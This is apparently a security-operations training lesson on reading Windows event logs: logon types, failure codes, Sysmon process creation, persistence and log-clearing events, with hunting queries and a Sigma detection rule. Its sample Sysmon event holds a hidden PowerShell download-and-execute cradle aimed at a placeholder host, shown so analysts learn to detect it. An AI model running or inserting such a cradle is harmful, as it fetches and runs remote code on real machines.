Reading Windows event logs
The Windows events an analyst reads every day: logon events 4624 and 4625 and their logon types, process creation with 4688 and Sysmon, service and scheduled-task creation, account and group changes, PowerShell script block logging, and the log-clearing events that should always page someone.
01Channels, providers and event IDs
- Know which channel each important event lives in and which audit policy produces it
- Read a 4624 logon event, including logon type, logon ID and source address
- Follow process creation through 4688 and Sysmon event 1
- Recognise the events that mean persistence, privilege change and anti-forensics
Windows writes events into channels (logs): Security, System, Application, and many under Applications and Services Logs, such as Microsoft-Windows-PowerShell/Operational and Microsoft-Windows-Sysmon/Operational. Each event has a provider and an event ID, and the ID only means something together with its channel: 4624 in Security is a logon; event 1 in Sysmon is process creation.
| Event | Channel | Meaning | Needs |
|---|---|---|---|
| 4624 / 4625 | Security | Successful / failed logon | Audit Logon (on by default for success and failure on most builds) |
| 4634 / 4647 | Security | Logoff / user-initiated logoff | Audit Logoff |
| 4648 | Security | Logon with explicit credentials (runas, some lateral movement tools) | Audit Logon |
| 4672 | Security | Special privileges assigned to a new logon (admin-equivalent) | Audit Special Logon |
| 4688 | Security | Process created | Audit Process Creation, plus a separate policy to include the command line |
| 4697 / 7045 | Security / System | Service installed | 4697 needs Audit Security System Extension; 7045 is logged by default |
| 4698 | Security | Scheduled task created | Audit Other Object Access Events |
| 4720, 4728, 4732, 4756 | Security | User created; member added to global, local, universal security group | Audit User / Security Group Management |
| 1102 | Security | Security log cleared | Always logged |
| 4104 | PowerShell/Operational | Script block logged | Script Block Logging policy |
Out of the box, Windows does not record command lines in 4688, does not log PowerShell script blocks for all scripts, and keeps a small Security log that rolls over in hours on a busy server. Before you trust absence of evidence, check the audit policy (auditpol /get /category:*) and the log size on the host.
02Logon events and logon types
Event 4624 is written on the machine that accepted the logon: the server you connected to, not the workstation you came from. The most important fields are the account, the logon type, the source network address and workstation name, the authentication package, and the Logon ID, which ties every later event in that session together.
EventID: 4624 Channel: Security Computer: FS-02.corp.example
Subject: Security ID: NULL SID Logon ID: 0x0
Logon Information: Logon Type: 3 Restricted Admin Mode: - Elevated Token: Yes
New Logon: Security ID: CORP\j.chen Account Name: j.chen Account Domain: CORP
Logon ID: 0x8A3F21C Linked Logon ID: 0x0
Network Information: Workstation Name: WS-0417 Source Network Address: 10.20.8.31 Source Port: 51546
Detailed Authentication Information:
Logon Process: NtLmSsp Authentication Package: NTLM Package Name (NTLM only): NTLM V2| Type | Name | Typical cause | Analyst note |
|---|---|---|---|
| 2 | Interactive | Keyboard at the console, or some remote tools | Credentials are cached in LSASS on that host |
| 3 | Network | SMB share, WinRM, many admin tools, PsExec's file copy | The most common type; no credentials left on the target |
| 4 | Batch | Scheduled task running as a user | New tasks running as a domain admin deserve a look |
| 5 | Service | Service starting under an account | Pairs with 7045 for new services |
| 7 | Unlock | Workstation unlocked | Useful for presence, rarely for attacks |
| 8 | NetworkCleartext | Basic auth to IIS, some PowerShell remoting with CredSSP | Password crossed the network in recoverable form |
| 9 | NewCredentials | runas /netonly, some token manipulation tools | Local identity unchanged, new credentials used for network access |
| 10 | RemoteInteractive | RDP | Source address is the RDP client |
| 11 | CachedInteractive | Domain user logged on with cached credentials, DC unreachable | Common on laptops off the network |
Failed logons (4625) carry a Status and SubStatus. The pairs worth memorising: 0xC000006A wrong password for a real account, 0xC0000064 account does not exist, 0xC0000234 account locked out, 0xC0000072 account disabled, 0xC000006F outside permitted logon hours. A spray shows many accounts with mostly 6A and 64; a stale service password shows one account, the same source, over and over.
The Workstation Name in 4624 and 4625 comes from the client and can be anything, including a blank or a hostname copied from your estate. Trust the source address (after NAT) over the name, and cross-check with DHCP.
03Process creation: 4688 and Sysmon
Process creation is the backbone of endpoint investigation: what ran, who ran it, with what command line, from which parent. Windows offers 4688 in the Security log; Sysmon event 1 offers more: hashes, the parent command line, the original file name from the PE version resource, and a process GUID that survives PID reuse.
<Event>
<System><Provider Name="Microsoft-Windows-Sysmon"/><EventID>1</EventID><Computer>WS-0417.corp.example</Computer></System>
<EventData>
<Data Name="UtcTime">2026-11-14 02:20:15.512</Data>
<Data Name="ProcessGuid">{6f1d2c3a-9b4e-6735-a102-000000002a00}</Data>
<Data Name="Image">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
<Data Name="OriginalFileName">PowerShell.EXE</Data>
<Data Name="CommandLine">powershell.exe -nop -w hidden -c "iex (iwr http://updates.badexample.org/a/ps.txt)"</Data>
<Data Name="User">CORP\j.chen</Data>
<Data Name="LogonId">0x5c1a33</Data>
<Data Name="IntegrityLevel">Medium</Data>
<Data Name="Hashes">SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C</Data>
<Data Name="ParentImage">C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE</Data>
<Data Name="ParentCommandLine">"WINWORD.EXE" /n "C:\Users\j.chen\Downloads\Invoice_8812.docm"</Data>
</EventData>
</Event>Read parent and child together. Word starting PowerShell is rare in normal work; -nop -w hidden (no profile, hidden window) and iex (iwr ...) (download a script and run it in memory) are the classic cradle. The user and Logon ID tie this to j.chen's interactive session, and the URL matches the proxy record from the previous lesson. That is a confirmed initial access chain from three sources.
index=sysmon EventCode=1 earliest=-7d
ParentImage IN ("*\\WINWORD.EXE", "*\\EXCEL.EXE", "*\\POWERPNT.EXE", "*\\OUTLOOK.EXE")
Image IN ("*\\powershell.exe", "*\\cmd.exe", "*\\wscript.exe", "*\\mshta.exe", "*\\rundll32.exe")
| stats count min(_time) AS first max(_time) AS last values(CommandLine) AS cmd BY host User ParentImage Image
| convert ctime(first) ctime(last)title: Office application spawning a script host
id: 7c2e9b14-3f6a-4d8e-b1a5-0e9d2c4f6a81
status: test
description: Word, Excel, PowerPoint or Outlook starting a shell or script interpreter, the usual first step of a macro or exploit document.
author: CyArt SOC
date: 2026-11-16
tags:
- attack.execution
- attack.t1204.002
- attack.t1059
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\WINWORD.EXE'
- '\EXCEL.EXE'
- '\POWERPNT.EXE'
- '\OUTLOOK.EXE'
selection_child:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\rundll32.exe'
condition: all of selection_*
falsepositives:
- Add-ins or line-of-business macros that shell out; document each by parent and command line before filtering
level: high- PID reuse: Windows recycles process IDs quickly, so joining on PID across hours links unrelated processes. Use Sysmon's ProcessGuid, or PID plus a tight time window and the host.
- OriginalFileName survives renaming: an attacker who copies powershell.exe to
C:\ProgramData\svc.exestill showsPowerShell.EXEthere. - Integrity level tells you whether the process was elevated (High) or ran as SYSTEM (System); a Medium-integrity process that later spawns a High one implies a UAC bypass or a consent prompt.
04Persistence, privilege and tampering events
After access, attackers make it stick and make it bigger. A handful of events cover most of that, and several should alert on their own.
| Activity | Events | What to check |
|---|---|---|
| New service | 7045 (System), 4697 (Security) | Image path in a user-writable folder, cmd /c or PowerShell in the service command, random service names |
| New scheduled task | 4698 (Security), TaskScheduler/Operational 106 | Task names imitating updaters, actions running from C:\ProgramData or %TEMP% |
| New account | 4720 | Created outside the identity team's normal tooling, or at 03:00 |
| Group change | 4728 / 4732 / 4756 | Additions to Domain Admins, Administrators, Remote Desktop Users; who made the change (Subject) |
| Log cleared | 1102 (Security), 104 (System) | Almost never legitimate on servers; treat as an incident until explained |
| Audit policy changed | 4719 | Someone turning off the logging you rely on |
# Pull the last 24 hours of service installs and group additions on a host you are triaging
$since = (Get-Date).AddHours(-24)
Get-WinEvent -FilterHashtable @{ LogName = 'System'; Id = 7045; StartTime = $since } |
Select-Object TimeCreated, @{n='Service';e={$_.Properties[0].Value}}, @{n='ImagePath';e={$_.Properties[1].Value}}, @{n='Account';e={$_.Properties[4].Value}}
Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4728, 4732, 4756; StartTime = $since } |
Select-Object TimeCreated, Id, @{n='Detail';e={$_.Message -split [Environment]::NewLine | Select-String 'Account Name|Group Name' | ForEach-Object { $_.Line.Trim() }}}PowerShell script block logging (event 4104) records the script text as the engine compiles it, after decoding: a base64 -EncodedCommand appears in clear. Windows also logs suspicious-looking blocks at Warning level automatically even when the policy is off. Pair it with 4103 module logging if you need pipeline detail, and make sure the channel is big enough, because a single script can produce many events.
05Reading logs in an investigation
Tie events together with the keys Windows gives you: the Logon ID links a 4624 to the processes and object accesses in that session on the same host; the source address links a logon on the server to a session on the client; time links everything else, so normalise to UTC first.
// Sentinel: everything a suspicious network logon session did on the target
let host = "FS-02.corp.example";
let lid = "0x8a3f21c";
SecurityEvent
| where Computer == host and TimeGenerated between (datetime(2026-11-14 02:00) .. datetime(2026-11-14 04:00))
| where TargetLogonId =~ lid or SubjectLogonId =~ lid
| project TimeGenerated, EventID, Activity, Account, NewProcessName, CommandLine, ObjectName
| order by TimeGenerated ascA 4624 on a file server shows Logon Type 3 from 10.20.8.31 with Authentication Package NTLM. What does that tell you?
"I read 4624 by logon type first, because it tells me how the session arrived and whether credentials were exposed on that host. Then I pivot on the Logon ID to everything that session did, and on the source address back to the client. Before I trust a gap, I check the audit policy and log size on that host."
Logon types are a staple screen question: know 2, 3, 4, 5, 10 and 11 cold, and be able to say which leave credentials in memory. Also expect "which event shows a service install?" (7045) and "which event should always alert?" (1102).
Q1Why is 4688 alone not enough?+
Without the command-line policy it shows only the image path, and it has no hashes or parent command line. Sysmon or EDR telemetry fills those gaps.
Q2How do you spot pass-the-hash in logs?+
A 4624 type 3 with NTLM authentication for an admin account from a workstation that does not normally administer that server. Some tools also produce type 9 logons with the seclogo logon process on the source host.
Q3What if the Security log has rolled over?+
Check forwarded copies in the SIEM first. Otherwise look for other sources: Sysmon, EDR, Prefetch, Amcache, SRUM and the System log, which rolls more slowly.